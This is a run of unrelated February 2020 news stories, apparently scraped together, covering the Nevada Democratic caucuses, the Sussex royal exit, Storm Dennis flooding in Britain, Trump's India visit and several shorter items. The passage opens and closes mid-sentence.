expanded its employee base by 50% over the past year. The new funding will enable Polyverse to continue expansion in North America and Japan, and enter strategic new markets in 2020, including the UK, and Singapore. About Polyverse: Polyverse Corporation is a cybersecurity company that uses its revolutionary Polymorphing technology to defend global enterprises and governments against the most devastating zero-day cyberattacks. Its technology has been validated by the U.S. Department of Defense to mitigate against zero-day memory exploits. Polyverses turnkey solution installs in minutes and works with existing systems without changing performance or IT processes. Founded in 2015, Polyverse is led by founder and CEO Alex Gounares. In November 2019, CNBC named Polyverse as one of the Top 100 Startups in the World. Visit our website, read our blog, and follow us on Twitter @polyverse_corp. For any questions please contact Joanne Harris on +1 855 765 9837 or jharris@polyverse.com. LAS VEGAS - Candidates have hustled past tourists and slot machines to ask housekeepers and cooks for their votes in the back of flashy casinos. Theyve made their pitches over plates of tamales, tacos and soul food. Theyve walked a picket line in the street with union workers. And then, with unsurprising showmanship, there was that flock of pigeons with tiny MAGA hats. If Nevada has one job in the Democratic primary, its to offer something different. And in many ways it has delivered. As the presidential race turned to the state this week, gone was the earnestness of Iowa and tradition of New Hampshire and in its place was racial diversity, a new unpredictability and the muscle of urban, union politics. Nevada is truly a state that represents the rest of the country, former Senate Majority Leader Harry Reid said, famous for his Nevada cheerleading and early primary state trash talk. Its not like Iowa where you have no diversity ... New Hampshire is a state that has no diversity. Its far from clear that Nevadas more representative population it is 29% Latino, 10% black, 9% Asian American and Pacific Islander and 49% white will result in a dramatic scramble of the pecking order set by Iowa and New Hampshire. In the past, Nevada Democrats have twice been a tiebreaker in two-person contests. In this crowded field of candidates, the states input isnt expected to reorder the race. Still, the Silver State campaign has delivered on some of its promises to change it up on the campaign trail, offering up scenes that are hard to imagine happening elsewhere. There was Elizabeth Warren ordering a boba tea at a cafe in Las Vegas Chinatown. Tom Steyer hosting a Black History Month concert with former members of R&B groups En Vogue and Boyz to Men. Bernie Sanders face plastered on a mobile billboard driving through heavily Latino neighbourhoods - the kind promotion typically used to advertise strip joints and acrobatic shows. President Donald Trump couldnt resist getting in on the action. He spent much of the week sleeping at this gleaming hotel tower on the Las Vegas Strip. Tourists booed and cheered as they watched his motorcade cruise along a Las Vegas Strip eerily cleared of traffic after a rally in Phoenix on Wednesday. He had another on Friday in Las Vegas. On Saturday, seven casino-resorts on the Las Vegas Strip will be among 200 locations hosting sites for the states Democratic caucuses. (This state doesnt blink at allowing the democratic process in adult playgrounds devoted to gambling and overindulgence.) Nevadas turn near the top of the presidential campaign calendar is still new, added ahead of the 2008 election. That means caucuses here dont come with the same traditions and voters havent become habituated to seeing the candidates at their neighbourhood parks and high schools. Dude, we just touched Bernie! two University of Nevada-Las Vegas students yelled to a third shortly after Sanders wrapped up a campus rally. Campaigns have had to be creative in pursuit of voters who can be hard to find, not hyper-engaged, new to the process and, sometimes, behind a gate. Traditional organizing tactics like door-knocking and phone-banking are tough in Nevada, where people move so often that records of addresses and phone numbers are regularly out of date. So many Nevadans dont have landlines that the former Mayor Pete Buttigiegs campaign relied more on text messaging rather than phone banking, said Olivia Bercow, a campaign spokeswoman. The campaign found it tricky to do routine canvassing in the locked apartment complexes and gated communities in the sprawling suburbs. It focused on asking supporters to organize friends and neighbours, helping them get inside. Theyve also looked to find locals where they hang out at their church, the first Fridays art walk, open mic nights, a Dia de los Muertos celebration or a salsa dancing class. But theres one place you dont go, campaigns learn quickly. If you go to the Strip thinking that youre going to talk about Pete, most people you find dont live in Nevada, Bercow said. Its not a great use of time. Natalie Montelongo, a senior strategist for Massachusetts Sen. Elizabeth Warrens campaign, said organizing in the state requires creativity and grit. In a state with strong labour, among the most coveted group of voters are the casino workers Culinary Workers Union, Local 226. While they are sometimes unnoticed by the millions of tourists frequenting casinos, the workers who keep the hotels humming, the drinks flowing, the rooms clean and the dishes sparkling are part of a 60,000-member majority-female, majority-Latino group that presidential candidates have aggressively courted. Even though the unions leaders have said the group is not endorsing, candidates are still working to woo the unions politically engaged members. Warren and former Vice-President Joe Biden were among the candidates touring the casinos employee dining rooms during the week. On Wednesday, nearly all of the candidates carried signs and chanted as they joined picketing union members in front of a towering casino-hotel thats been locked in a longstanding labour dispute with the Culinary Union. Warren wore red,matching the workers.Biden wrapped an arm around the unions leader, Geoconda Arguello-Kline, and former South Bend, Indiana Mayor Pete Buttigieg, Minnesota Sen. Amy Klobuchar and billionaire businessman Tom Steyer carried signs that said No contract, no peace. Nearby, a troupe of dancers dressed as a bartender, cook, server, cocktail waitress, housekeeper and janitor danced in unison. There was little peace at the Wednesday debate, the most combative of the primary and the first to feature former New York Mayor Mike Bloomberg. Although Bloomberg isnt competing in the Nevada caucus he took nearly as many blows as Trump, who spent the night down the street. As Trump appeared in the city, so too did a group of pigeons with tiny red Make America Great Again hats like those worn by by Trumps supporters on their heads. One pigeon had a tiny blond wig similar to Trumps distinctive hair. A self-proclaimed underground radical group that goes by the acronym P.U.T.I.N. (Pigeons, United To Interfere Now), told the Las Vegas Review-Journal they released the pigeons as an aerial protest piece in response to the 2020 Democratic debate as a gesture of support and loyalty to President Trump. They also hope to elevate the stature of the pigeon, the group said. When Prince Harry and Meghan Markle announced their decision to step back as senior members of the royal family, they made it clear that they want to lead a financially independent life while still supporting Queen Elizabeth II. While the Duke and Duchess of Sussex have already begun their post-royal hustle to fund their newfound private lives, it seems like the Queen and Buckingham Palace are still giving them one last chance to take back their infamous "Megxit" decision. Megxit Trial In a statement released on Wednesday, the royal couple's spokesperson confirmed that Prince Harry and Meghan's exit to the royal family would officially take effect by the 31st of March. But instead of cutting all ties with the British monarchy, Prince Harry and Meghan will have a 12-month transition period of their royal exit. The spokesperson said that the "trial period" is given to make sure all arrangements will be beneficial to all parties involved. Does it mean the couple can still back out from their initial decision to quit as senior royals, and the United Kingdom will accept them with open arms? As per Sky News, the statement added that starting April 1st, Meghan and Harry will be represented by the U.K. foundation team since they no longer need an office at Buckingham Palace. "In general, the themes of their cause-related work will remain unchanged, which includes the Commonwealth, community, youth empowerment, and mental health, collectively," the statement wrote. While Meghan's duty will focus on women empowerment, gender equality, and education, the statement noted that "the duke's priorities remain supporting the welfare of servicemen and women, conservation, sport for social development, HIV and Travalyst which works to mobilize the tourism and travel industry for social good." Official Royal titles Meghan and Harry's spokesperson also confirmed that while they could keep their Duke and Duchess of Sussex title, they may no longer use it during future official engagements. However, they will still get to retain their titles as "The Earl & Countess of Dumbarton" and "The Baron & Baroness Kilkeel," which was also given to them as a gift by the Queen during their wedding on May 2018. Prince Harry will also get to keep his honorary military position during the year-long trial period. Final Royal Engagements Leading to their official exit date, the couple is expected to go back to the United Kingdom to attend their last official royal engagements. As part of their final royal engagements, Prince Harry will join rock star Jon Bon Jovie for a recording session for the Invictus Games Choir on February 28th. The couple will also grace the Endeavor Fund Awards on March 5. Furthermore, Prince Harry will attend the official opening of Silverstone Experience together with Lewis Hamilton on March 6. The following day, Meghan and Harry are joining the Mountbatten Music Festival at the Royal Albert Hall. Meghan will also mark the celebration of International Women's Day on March 8, while she and her husband will be joining the rest of the royal family to attend the Commonwealth Day Service at Westminster Abbey for their final royal hurrah on March 9. US President Donald Trump's daughter Ivanka and son-in-law Jared Kushner will be part of the high-level delegation accompanying him during his visit to India on 24 and 25 February, official sources said on Friday. Trump's wife Melania Trump is also part of the delegation, which includes Treasury Secretary Steven Mnuchin and Commerce Secretary Wilbur Ross.The US president will arrive in Ahmedabad on 24 February for a little less than 36-hour India trip. From Ahmedabad, he will travel to Agra before arriving at the national capital for the main leg of the visit. The US has confirmed that Ivanka Trump and Jared Kushner, Trump's senior advisor, will be part of the US president's delegation, official sources said. Boosting counter-terror cooperation, deepening engagement in the Indo-Pacific region, augmenting defence and trade ties and India's concerns over H1B visas are expected to figure in talks between Trump and Modi on 25 February. Also read: Visiting Taj, India Inc roundtable: Trump's got two busy days in India Also read: Trump likes Modi 'a lot' but says not treated well by India Also read: 'Looking forward to visiting New Delhi, Ahmedabad,' says Melania Trump California lawmakers on Thursday became the first political leaders in the nation's most populous state to apologize for discriminating against Japanese Americans and helping the U.S. government send them to internment camps after Japan bombed Pearl Harbor during World War II. The Assembly unanimously passed the resolution and welcomed several people who were imprisoned in the camps and their families. Several lawmakers gave somber statements and gathered at the entrance of the chamber after the vote to hug and shake hands with victims like 96-year-old Kiyo Sato. Sato said young people need to know about the 120,000 Japanese Americans who were sent to internment camps during the war."We need to remind them that this can't happen again," she said. The resolution came a day after Govornor Gavin Newsom declared a Day of Remembrance for Feb. 19, when President Franklin D. Roosevelt signed an executive order in 1942 that led to the imprisonment of Japanese Americans across 10 camps in the U.S. West and Arkansas. The governors of Idaho and Arkansas also proclaimed it a Day of Remembrance, and events are held nationwide. "During the years leading up to World War II, California led the nation in fanning the flames of racism," said Assemblyman Al Muratsuchi, who was born in Japan. A team of professional and citizen scientists has discovered a new species of caenogastropod snail living in tropical lowland rainforests of Borneo and named it after climate activist Greta Thunberg. The newly-described snail belongs to the so-called caenogastropods, a group of land snails known to be sensitive to drought, temperature extremes and forest degradation, said Dr. Menno Schilthuizen, a snail expert and co-founder of Taxon Expeditions. All individuals were found very close to Kuala Belalong Field Studies Centre at the foot of a steep hill-slope, next to a river bank, while foraging at night on the green leaves of understorey plants. The researchers decided to name the new species Craspedotropis gretathunbergae after the young climate activist Greta Thunberg, because caenogastropod snails from tropical rainforests are very sensitive to the droughts and temperature extremes that are likely to be more frequent as climate change continues. Naming this snail after Greta Thunberg is our way of acknowledging that her generation will be responsible for fixing problems that they did not create, said citizen scientist J.P. Lim, who found the first individual of the new species. And its a promise that people from all generations will join her to help. The team also approached Ms. Thunberg who said that she would be delighted to have this species named after her. This is not the first time that Taxon Expeditions team names a species in honor of an environmental advocate, the scientists said. In 2018, we named a new species of beetle after famous actor and climate activist Leonardo DiCaprio. Mr. DiCaprio temporarily changed his profile photo on Facebook to the photo of his beetle to acknowledge this honor. The team published a paper describing Craspedotropis gretathunbergae this week in the journal Biodiversity Data Journal. _____ M. Schilthuizen et al. 2020. Craspedotropis gretathunbergae, a new species of Cyclophoridae (Gastropoda: Caenogastropoda), discovered and described on a field course to Kuala Belalong rainforest, Brunei. Biodiversity Data Journal 8: e47484; doi: 10.3897/BDJ.8.e47484 The state has alleged that the entire proceedings, including tender process, is vitiated by mala fides. New Delhi: The Supreme Court will hear next week a plea by the Kerala government, challenging the Centres decision to entrust the management, operation and development of the Thiruvananthapuram International Airport (TIA) to concessionaire Adani Groups Adani Enterprises Limited. A top court bench of CJI S.A. Bobde, Justices B. R. Gavai and Surya Kant directed the listing of the matter next week as an advocate appearing for one of the parties sought a pass-over. Describing the decision to entrust the Adani Enterprises Limited the operation, management and development of Thiruvananthapuram International Airport as arbitrary and illegal, the state has contended that the entire exercise ignores the state governments proposal to form a special purpose vehicle to take over and run the TIA on revenue-sharing basis with the Centre. Contending that the grant of the contract was in breach of an earlier undertaking by the Centre and the provisions of Airport Authority of India Act, the state has alleged that the entire proceedings, including tender process, is vitiated by mala fides. BAKU, Azerbaijan, Feb. 21 By Elchin Mehdiyev - Trend: The successful visit of President Ilham Aliyev to Italy laid the foundation for a new stage in bilateral relations between the two states, Azerbaijani MP Bakhtiyar Aliyev told Trend. Aliyev noted that during his state visit to Italy, President Ilham Aliyev held productive meetings with President of Italy Sergio Matarella, President of the Council of Ministers of Italy Giuseppe Conte, President of the Italian Senate Maria Elisabetta Alberti Casellati, President of Italian Chamber of Deputies Roberto Fico. "President Ilham Aliyev also had a working dinner with the leaders of the largest financial and banking structure in Italy, Cassa Depositi e Prestiti SpA, and more than 10 world-famous largest industrial and financial groups in Italy. During the meeting, Cassa Depositi e Prestiti President Giovanni Gorno Tempini said that Italian companies show great interest in Azerbaijan. Tempini told President Ilham Aliyev about the initiatives put forward by the leaders of some of the leading industrial companies in Italy to contribute to strengthening bilateral economic ties," Bakhtiyar Aliyev said. The Azerbaijani MP stressed that currently, Italy is a major trade partner of Azerbaijan, and the volume of Azerbaijani exports to Italy amounted to 28.7 percent of Azerbaijan's total exports in 2019. "Azerbaijan also cooperates with Italy in the framework of large-scale international projects. The European part of the Southern Gas Corridor is TAP. This pipeline with a length of 878 kilometers in Europe passes through the territories of Greece, Albania, then goes along the bottom of the Adriatic Sea and ends in southern Italy. At the same time, numerous Italian companies operate in Azerbaijan," Bakhtiyar Aliyev said. The Azerbaijani MP said that the signing of the Joint Declaration on Strengthening Multidimensional Strategic Partnership between Azerbaijan and Italy is very important. According to the MP, along with the fact that the declaration is an important political document that defines close cooperation between the two countries over the upcoming years, it also determines the future directions of strategic partnership, as an indicator that bilateral relations have reached a new level. "It is also important that in the document Azerbaijan and Italy expressed mutual respect and support for the territorial integrity, sovereignty and inviolability of each others state borders. The declaration shows support for the settlement of the Nagorno-Karabakh conflict on the basis of the Helsinki Final Act, resolutions of the UN and OSCE," Bakhtiyar Aliyev added. "Italy supports the territorial integrity of Azerbaijan, a fair settlement of the conflict within the the principles and norms of international law. This document can be considered as the next international victory of Azerbaijan. The state visit of President Ilham Aliyev to Italy is a continuation of the successful foreign policy of the Azerbaijani state, both in terms of political and economic, as well as strategic cooperation," said the MP. Two US Senators have urged President Donald Trump to "push for favourable pulse crop provisions" in any trade deal the United States signs with India. Trump and First Lady Melania Trump are scheduled to travel to Ahmedabad, Agra and New Delhi on February 24 and 25. There have been talks about India and the United States agreeing on a trade package as a precursor to a major trade deal. "As you prepare for your upcoming trip to India, we write to encourage you to push for favourable pulse crop provisions in any deal the United States may sign with the Republic of India," two Republican Senators Kevin Cramer and Steve Daines wrote in a letter to Trump. Daines represents the state of Montana, while Cramer is from North Dakota. Both Montana and North Dakota are major pulse producing states. In their letter dated February 19, the two Senators said Montana and North Dakota are the top two producers of pulses in the United States and India is the world's largest consumer of pulse crops, contributing to approximately 27 per cent of the world's consumption. The most commonly consumed pulse crops in India are lentils, chickpeas, dried beans, and peas, yet the Republic of India has levied substantial tariffs on American pulse crops. "Unfair Indian tariffs on pulse crops have substantially harmed our producers back home," they wrote. "Following the removal of lndia from the Generalized System of Preferences (GSP) on June 5, 2019, additional tariffs were placed on American pulse crops. Currently, tariff rates are 30 per cent for dried beans, 50 per cent for lentils and peas, and 70 per cent for chickpeas. As a result, US pulse crop producers face a significant competitive disadvantage when exporting to India," the two Senators wrote to Trump. "At a time when many producers have been struggling to make ends meet, your work to expand market opportunities for US farm commodities has been critical. Engaging Prime Minister Modi on pulse crop tariffs as part of larger discussions to enhance the economic cooperation between our countries would be mutually beneficial to both American producers and Indian consumers," Cramer and Daines wrote. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Advertisement Prince Charles today visited flood-hit communities in South Wales, which are bracing for their third weekend washout from the freak weather lashing the UK. The first-in-line climbed into a water-logged cellar of a home in Pontypridd to see first hand the devastation inflicted by Storm Dennis. He met with residents and business owners who likened their battered town to a 'war zone' as they race to shore up defences to prevent further water damage. After spreading some much-needed royal cheer in the town - laughing, stopping for photos and greeting locals including a dog - he met and paid tribute to the rescue teams spearheading the relief effort. Restaurant owner Joe Gambarini, 65, said: 'He didn't just want to hear about the damage he asked to see it with his own eyes... Sometimes in Wales we feel like the forgotten people so his visit means a lot.' Wrapped in a long thick coat, he ambled through the town flanked by his aides, at one point asking them to take the details of a shopkeeper whose store had been destroyed. Prince Charles was praised for bravely climbing into a water-logged cellar to see the devastation caused by Storm Dennis. Restaurant owner Joe Gambarini, 65, said: 'He didn't just want to hear about the damage he asked to see it with his own eyes. 'The Prince asked if he could go down into the cellar, I warned him it was very slippery and I don't like going down there myself. 'Sometimes in Wales we feel like the forgotten people so his visit means a lot.' The heir's appreciated trip to the region came as the national clamour for Boris Johnson to visit the worst affected areas reached a crescendo - but continues to be stonewalled by the PM who is bunkered down in his country retreat. Builder Steve Jones, 55, said: 'Boris has missed the boat - he's been beaten to it by Corbyn and Charlie Boy. 'It's going to take a long time for Pontypridd to recover so we need all the help we can get.' The PM, who faced flak for not immediately visiting flood-hit areas during the election, remains at the Chevening estate in Kent for the Parliamentary recess. But his ministers have lined up to reassure that the government is ratcheting up efforts to help those enduring the worst of the weather. England has already had 141 per cent of its average February rainfall in the first three weeks of the month, with a third weekend of downpours and high winds set to wreak havoc this weekend. There are fears the flooding could spread to areas such as the Pennines and parts of Yorkshire, having already left parts of Herefordshire and Worcestershire submerged in recent days. The Environment Agency's manager for the two counties, which have suffered much of the worst of the flooding so far this week, said such episodes were 'not normal' and 'going to get worse'. Dave Throup admitted the floods were 'getting scary' after the level of the River Wye on Monday peaked at 6.99m (22.9ft) - more than half a metre higher than any previous recorded figure since records began there in 1908. Prince Charles today visited flood-hit communities in South Wales bracing for their third weekend of freak weather lashing the UK After spreading some royal cheer on the streets - laughing, stopping for photos and greeting locals including a dog - he met and paid tribute to the rescue teams spearheading the relief effort He saw first hand the devastation of residents and business owners who have been desperately shoring up their defences to fend off the wrath of Storm Dennis. Andrew Morgan, leader of Rhondda Cynon Taf council, gives the royal a tour (right) Prince Charles visits the town of Pontypridd affected by recent floods in Wales today. His presence drew a massive crowd Dressed in a thick coat, shirt and tie, Prince Charles shakes hands with two Pontypridd locals and laughs with them The Prince of Wales meets local ambulance crews during a visit to Pontypridd, Wales, which has suffered from severe flooding in the wake of Storm Dennis Charles reaches out to a dog as he sweeps through the town of Pontypridd flanked by his entourage of security Flooding surrounds a church in Tirley, Gloucestershire, today as more rain in northern England could lead to further flooding : A worker recovers stranded vehicles from flood water on the A761 today in Paisley, Scotland Floodwater surrounds a home in Uckinghall, Worcestershire, today as more rain is on the way for northern England A house boat topples due to flooding at Pillings Lock Marina in Quorn, Leicestershire, today Flood water in Tirley in Gloucestershire today as more rain in northern England could lead to further flooding Pontypridd reveals extent of flood damage Prince Charles in Pontypridd today Richard Oliver, 43, whose home was flooded in the early hours of Sunday, said: 'He asked us how we were coping, if we had a cooker and if the toilet was working. 'We've lost the carpet but it's the area around our house that has been really damaged. 'It is a bit of a war-zone up there at the moment.' Mr Oliver described wading through waist-high water to rip up fences between the houses on his street in an attempt to divert the floods away. 'The water went from my ankles to my thighs in 30 seconds,' he said. Nigel John, the director of Pontypridd Market Company, told Charles how 14 of his shops had been flooded. 'He mentioned this being the moment, re-establishing the shop units, to start to insert flood mitigation elements such as tiled flooring and sockets being lifted up beyond flood levels,' Mr John said. Andrew Morgan, the leader of Rhondda Cynon Taf County Borough Council, showed the prince around Pontypridd, which he described as 'badly hit'. 'He was keen to ask the insurance brokers here about what more could be done about supporting businesses who maybe can't get the right insurance because of their location,' Mr Morgan said. Advertisement Another of the five biggest floods ever recorded by the gauge at Belmont, Herefordshire, took place in October, he added. Mr Throup tweeted: 'It's getting scary folks. What I've seen over the last few days isn't normal. 'It isn't even the new normal. It's going to get worse. We need to adapt and respond. And fast. (I'm) so sorry for everyone who's life has been turned upside down.' South Wales has taken the brunt of Storm Dennis, prompting Prince Charles's decision to visit today. The heir to the throne first spoke to Emma Jamal, 40, the owner of KooKoo Madame, a boutique shop that was filled with four feet of water in the early hours of Sunday. Mrs Jamal arrived at the shop, which she has owned for 12 years, at 6am on Sunday to find it 'completely devastated. Literally every piece of furniture, every piece of stock, has gone in the skip. 'Hundreds of thousands of pounds. It is gone. It has taken us years and years to build up the stock.' She showed Charles a line on her wall, showing how high the water level had been. The prince heard how 50 residents from Trivallis housing association have required temporary accommodation due to their homes being damaged. It will take some up to an estimated eight months to return to their homes, though some do not wish to go back. Mrs Jamal told the prince she empathised with how those residents felt: 'It's the fear. I can't sleep at night, knowing the sheer force that has come to this building,' she said. She had insurance but her policy does not cover damage from flooding, as the shop is in a high-risk area. The prince asked aides to take Mrs Jamal's details to see what could be done to assist her. Tomorrow, the whole of Scotland and much of northern England falls under yet another yellow warning for strong winds gusting up to 65mph, with showers of rain, hail, sleet and snow. Greg Dewhurst of the Met Office said: 'It is never-ending. There is no sign of things calming down any time soon. It has been a few years since we had such wet and windy weather. I guess it was inevitable that it would return.' The Environment Agency said England has already had 141 per cent of its average February rainfall in the first three weeks of the month. He went into The Prince's cafe, which has been open since 1948, and saw how water had ruined the basement where bread is baked The prince met with emergency workers and council staff at the Municipal Building, as well as residents and landlords affected Flood water surrounds a church in Tirley, Gloucestershire, today, with more rain on the way for northern England Floodwater surrounds a home today in Uckinghall, Worcestershire, with further flooding expected in already sensitive areas Flood water surrounds a church in Tirley, Gloucestershire, today as more rain in the North could lead to further flooding Flood water surrounds a home in Uckinghall today as more rain in the North could lead to further flooding this weekend Caroline Douglass, the agency's director of incident management, said: 'Further spells of rain in northern England from Friday and into the weekend may lead to further significant river flooding, particularly across the Pennines, while ongoing river flooding remains probable for the lower Severn for the remainder of the week. Manic Street Preachers donate 3,000 to Welsh flood victims Welsh rock band Manic Street Preachers have donated 3,000 to a local flood-relief fund after parts of the country were hit by flooding. The Pontypridd flooding relief page was set up by Labour MP Alex Davies-Jones to help those affected by Storm Dennis, which left hundreds of homes in South Wales underwater. The fund's initial target was 5,000, but today donations had exceeded 23,500 - with 23 days left to go. The band made the 3,000 contribution yesterday along with other famous names. Donations of 500 were also listed under the names of Line Of Duty star Vicky McClure and her partner Jonny Owen, while a pledge of the same amount was listed under the name of former Labour leader Neil Kinnock. Advertisement 'This is the third weekend we have seen exceptional river levels and stormy weather, and with the effects of climate change, we need to prepare for more frequent periods of extreme weather like this. 'People need to be aware of their flood risk, sign up to flood warnings, make a flood plan and not to drive or walk through flood water.' In parts of Cumbria, around a month's worth of rain fell in the 36 hours up to 3pm yesterday. The rain gauge at Honister Pass in the Lake District recorded 185mm (7.3in) during that period, while nearby Seathwaite received 169mm (6.6in) of rain. Met Office forecaster Matthew Box said those sort of areas would ordinarily expect to receive between 150mm (5.9in) and 200mm (7.9in) of rain during February. He added: 'The weather is more extreme on higher ground but this is still a serious amount of rainfall. Given the waterlogged nature of the ground and the catchment areas of the rivers it's a concern, especially as there's more rain on the way.' He said much of northern England could expect to receive between 20mm and 40mm (0.8-1.6in) of rain today, adding: 'Clearly there's going to be ongoing issues as we head into next week.' Further heavy rain is hitting northern parts of Britain this morning (left), with strong winds set to sweep in overnight (right) Further rain is expected in parts of Britain tomorrow (left) and on Sunday (right) with more snow on the way in Scotland too The Met Office has issued yellow rain warnings - meaning flooding is possible - covering much of West and North Yorkshire today, with yellow wind warnings advising of strong winds covering the North East. Strong winds will hit Scotland and the North overnight Five severe flood warnings, meaning danger to life, remained in place covering areas around the Wye, Severn and Lugg between Shropshire and Herefordshire, while 82 standard warnings and 149 alerts covered the country from Dorset in the south to Carlisle in the north. One of the red severe flood warnings remained on the River Severn at Ironbridge, Shropshire, yesterday, amid fears that the barriers which stood firm during Tuesday night's river peak may not continue to successfully contain the force of the water. Capel Curig in Snowdonia, north Wales, recorded 86mm (3.4in) of rain in 36 hours after setting Wednesday's record for rain with 80mm (3.1in) in a single day. Tankers were topping up water supplies in Monmouth over the Welsh border after the town's flooded treatment works remained out of action. In Tiverton, Devon, police searching for an elderly woman believed to have fallen into the River Exe found a body in the watercourse. Jean Disney, 87, had last been seen in the Johns Way area of Tiverton at 3am on Monday. The Environment Agency has imposed five severe flood warnings, 82 standard warnings (both in red) and 149 alerts (amber) A flood alert is in place for much of West London around the River Thames, including Putney, Richmond and Brentford A man was pulled from the flooded Severn yesterday lunchtime at Worcester Bridge. He was taken to hospital in a serious condition. Michael Sheen's flood fundraiser doubles its target in the first day A crowdfunding campaign launched by actor Michael Sheen to help flood-hit communities of South Wales has doubled its target in its first day. The Frost/Nixon star, who grew up in Neath Port Talbot, hoped to raise at least 10,000 for people whose homes have been flooded in the Welsh valleys. The campaign has now raised more than 25,000 from more than 920 donors. Announcing the campaign on Wednesday, Sheen, 51, said: 'The devastation that Storm Dennis has left behind is very real and thousands of people across the UK have lost everything. 'Friends and family of mine have been affected in South Wales and my hope is that we can raise money to help with the rescue efforts on the frontline.' Posting an update to Twitter, Sheen said: 'Thanks so much to all donating and sharing. Already doubled our initial target within 24 hours! 'People all over world sending 10, 20 donations and saying sorry it's not more! Hugely touched by it. Let's keep going.' All the money raised from the campaign will go to the Wales Council for Voluntary Action, which Sheen has been the president of since 2017. It will then be distributed to communities across Wales, with those worst affected taking priority. Advertisement Upstream in Bewdley, the town's bridge reopened to pedestrians and cyclists as the level on the Severn continued to slowly drop, although the crossing remained closed to vehicles attempting to access the town centre. However Wales will not be hit with more deluges of rain today, with meteorologist Craig Snell saying: 'There are no signs of anything majorly dry coming through which is what people need in the flood-hit areas.' The Met Office has said Yorkshire is one of the most sensitive areas to rain at the moment, with only small amounts of rain potentially causing further flooding. The weekend is expected to bring more wet weather. Mr Snell said: 'Saturday is going to be a day of sunshine and gusty showers, the showers wintry across the north, chiefly across the high ground and we could see a bit of wintriness at lower levels but nothing amounting to too much at the moment.' Mr Snell added the Met Office are monitoring an area of low pressure approaching the UK which could bring another spell of strong winds to Scotland, northern Ireland and northern England. He said: 'Combined with the wind we would see the risk of further heavy rainfall and also potentially some snow as well for Scotland.' The EA said that river levels have exceeded existing records with the Colne, Ribble, Calder, Aire, Trent, Severn, Wye, Lugg and Derwent among the many rivers where records have been broken. But the agency said that, even with record river levels, the number of homes flooded has been fewer than in other major flood-events of the last 20 years. John Curtin, executive director of Flood & Coastal Risk Management, Environment Agency, said on Twitter that Storm Ciara, two weeks ago, left 800 properties flooded and Storm Dennis has affected 600. Mr Curtin said this compared with 1,200 homes flooded in the north of England at the end of 2019; 17,000 in the 2015 Boxing Day floods and 55,000 in the floods across the North and Midlands in 2007. Floodwater continues to surround Tewkesbury Abbey in Gloucestershire yesterday in the aftermath of Storm Dennis Flooding in Worcester yesterday as the country continues to deal with severe conditions following Storm Dennis last weekend Amanda Cartwright took these photographs of flooding in the front room of her home in in Worcester yesterday The West Coast Main Line connecting London to Glasgow was closed in both directions between Carlisle and Lancaster during the morning rush hour yesterday, after downpours overnight left the track under water. The line was reopened for northbound trains at 9.20am, while southbound services could not begin running until 10.10am. Several lines in Wales remain closed due to the weather, including Aberdare to Pontypridd; Ebbw Vale Town to Cardiff Central; Abergavenny to Hereford; and Blaenau Ffestiniog to Llandudno. Meanwhile, fundraising efforts have continued for those affected by the floods, with multiple communities in Wales starting collections. On Wednesday, Frost/Nixon actor Michael Sheen, who hails from Neath, South Wales, launched a campaign to raise money for affected communities in the Valleys, raising half of its 10,000 goal within the first five hours. Stormy weather washes Victorian gas meter onto a beach after family spot it 'bobbling along in the water' Stormy weather has washed a fascinating Victorian gas meter onto a beach in Wales after a family saw it 'bobbling along in the water'. Keiran Byrne, 47, an engineer, made the discovery at Ferryside beach in Carmarthenshire on Monday when he walking down the beach with his children. He said: 'We saw it bobbing along in the water in the sea and then eventually after a while it washed ashore and we went to have a closer inspection. We didn't know what it was at first. 'It just looked like a huge box. But I was really impressed by its condition and the fact that it hadn't rusted away. It looked like it was made of copper.' The Victorian gas meter was found at Ferryside beach in Carmarthenshire, South Wales, on Monday Keiran Byrne, 47, an engineer, made the discovery at Ferryside beach when he walking down the beach with his children Upon closer inspection the object states that it was made by manufacturers W and B Cowan, a gas meter making company The gas meter making company was founded in 1825 and operated in Manchester, London and Edinburgh However when he went down to the beach again the next day, the object had gone. He said: 'Lots of things end up in the sea I suppose and I suspect when we went back down there the next day the waters took it again so it's probably still bobbing up and down somewhere, it was really heavy though so the storm must have been strong. Upon closer inspection the object states that it was made by manufacturers W and B Cowan, a gas meter making company that was founded in 1825 and operated in Manchester, London and Edinburgh. An Association for Industrial Archaeology spokesman confirmed that the object was made by W and B Cowan which operated during the 19th and 20th century - and many of their objects still reside in museums in the UK. He said: 'It is a large meter, the sort that would have been used somewhere like a factory or large country house. It was likely that it was taken out of use at least 45 years ago but it doesn't look as though it's been in the sea that long.' George and Amal Clooney's mansion is surrounded by flood water: 12m Grade-II listed home becomes submerged after Storm Dennis Aerial pictures were revealed yesterday showing flooding in the grounds of George and Amal Clooney's mansion in Berkshire. The Thames has spilled over its banks and left the Hollywood star's tennis court, the veranda of his summer house and much of the lawn completely underwater in Sonning. The 17th-century, Grade II-listed house is located on an island in the river. The property's garden had previously been hit by flooding in 2016. The Hollywood star and human rights lawyer moved into the secluded home with their twins in 2016, after an intensive 18-month long refurbishment. It comes as more rain is expected today, potentially leading to more flooding in areas already saturated after successive storms. The Clooneys paid an undisclosed sum for the listed property, which was put on the market for 7.5 million, in September 2014, a couple of weeks after their three-day wedding extravaganza in Venice. Earlier this month the high-profile pair applied for planning permission for an outhouse to bolster security as the famous home attracts more tourists. Slide me A before and after view shows flooding in the grounds of George and Amal Clooney's mansion in Sonning, Berkshire George Clooney has suffered flood damage to his Berkshire mansion. The estate has been hit badly by the recent bad weather Aerial pictures show flooding yesterday in the grounds of George and Amal Clooney's mansion in Sonning, Berkshire The actor and the human rights lawyer moved to the 17th-century home in 2016 after an 18-month refurbishment The 17th-century house is located on an island in the river, and the property's garden had previously been hit by flooding The rising River Thames has left George Clooney and his wife Amal's Grade II-listed mansion in Berkshire surrounded by water George and Amal Clooney in Los Angeles in June 2018 The tennis court, the veranda of their summerhouse and most of the lawn have been left completely underwater The flooding in Berkshire comes as more rainfall is forecast today, potentially causing more issues in already saturated areas The Thames has spilled over its banks and left the Hollywood star's tennis court in Berkshire completely underwater The 17th-century, Grade II-listed house in Sonning, Berkshire, is located on an island in the river Aerial pictures show flooding in the grounds of George and Amal Clooney's mansion in Sonning, Berkshire The Thames spilled over and left the veranda of the Clooneys' summer house and much of the lawn completely underwater Democratic presidential hopeful Massachusetts Senator Elizabeth Warren speaks during the ninth Democratic primary debate of the 2020 presidential campaign season co-hosted by NBC News, MSNBC, Noticias Telemundo and The Nevada Independent at the Paris Theater in Las Vegas, Nevada, on February 19, 2020. Sen. Elizabeth Warren has brought national attention to nondisclosure agreements this week, criticizing billionaire businessman and former New York City mayor Mike Bloomberg for his alleged history of inappropriate behavior toward women and using NDAs to keep employees from 